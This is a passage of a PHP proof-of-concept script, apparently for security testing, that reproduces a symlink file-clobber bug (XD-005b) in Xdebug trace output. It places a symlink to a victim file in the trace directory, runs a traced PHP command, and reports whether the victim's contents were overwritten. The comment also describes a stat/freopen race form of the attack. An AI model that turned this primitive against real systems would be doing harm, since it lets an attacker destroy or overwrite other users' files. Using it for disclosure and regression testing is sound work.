/.xt.gz` as a symlink to the victim * file BEFORE xdebug runs. The race form replaces the file with * a symlink between xdebug's stat() and freopen() -- same * primitive, different timing. */ $xdebug_so = $argv[1] ?? '/home/ilia/xdebug/modules/xdebug.so'; $php = $argv[2] ?? '/home/ilia/php-src-8.4/sapi/cli/php'; $attacker_dir = '/tmp/xd005b-attacker'; $victim_target = '/tmp/xd005b-victim-secret'; @mkdir($attacker_dir, 0700, true); foreach (glob("$attacker_dir/*") as $f) @unlink($f); @unlink($victim_target); file_put_contents($victim_target, "ORIGINAL_SECRET_CONTENT\nDO_NOT_TRUNCATE\n"); $before_size = filesize($victim_target); $before_content = trim(file_get_contents($victim_target)); echo "victim target before:\n"; echo " size: $before_size bytes\n"; echo " content: $before_content\n\n"; $attack_link = "$attacker_dir/attack.xt.gz"; symlink($victim_target, $attack_link); echo "pre-placed symlink:\n"; echo " $attack_link -> " . readlink($attack_link) . "\n\n"; echo "running xdebug trace:\n"; $cmd = sprintf( '%s -d zend_extension=%s ' . '-d xdebug.mode=trace -d xdebug.start_with_request=yes ' . '-d xdebug.trace_format=0 -d xdebug.trace_output_name=attack ' . '-d xdebug.output_dir=%s ' . '-r %s 2>&1', escapeshellarg($php), escapeshellarg($xdebug_so), escapeshellarg($attacker_dir), escapeshellarg('function f(){return 1;} f();') ); echo shell_exec($cmd); clearstatcache(); echo "\nvictim target after:\n"; if (file_exists($victim_target)) { $after_size = filesize($victim_target); $after_content = file_get_contents($victim_target); echo " size: $after_size bytes\n"; echo " content: " . trim($after_content) . "\n"; } else { echo " REMOVED\n"; $after_content = ''; } echo "\noutput dir layout after run:\n"; echo shell_exec("ls -la $attacker_dir/"); $clobbered = strpos($after_content, 'ORIGINAL_SECRET_CONTENT') === false; echo "\nresult: " . ($clobbered ? "XD-005b PRESENT -- victim file content was replaced by xdebug trace data" : "XD-005b FIXED -- victim file content preserved; trace landed elsewhere (random-suffix file)" ) . "\n";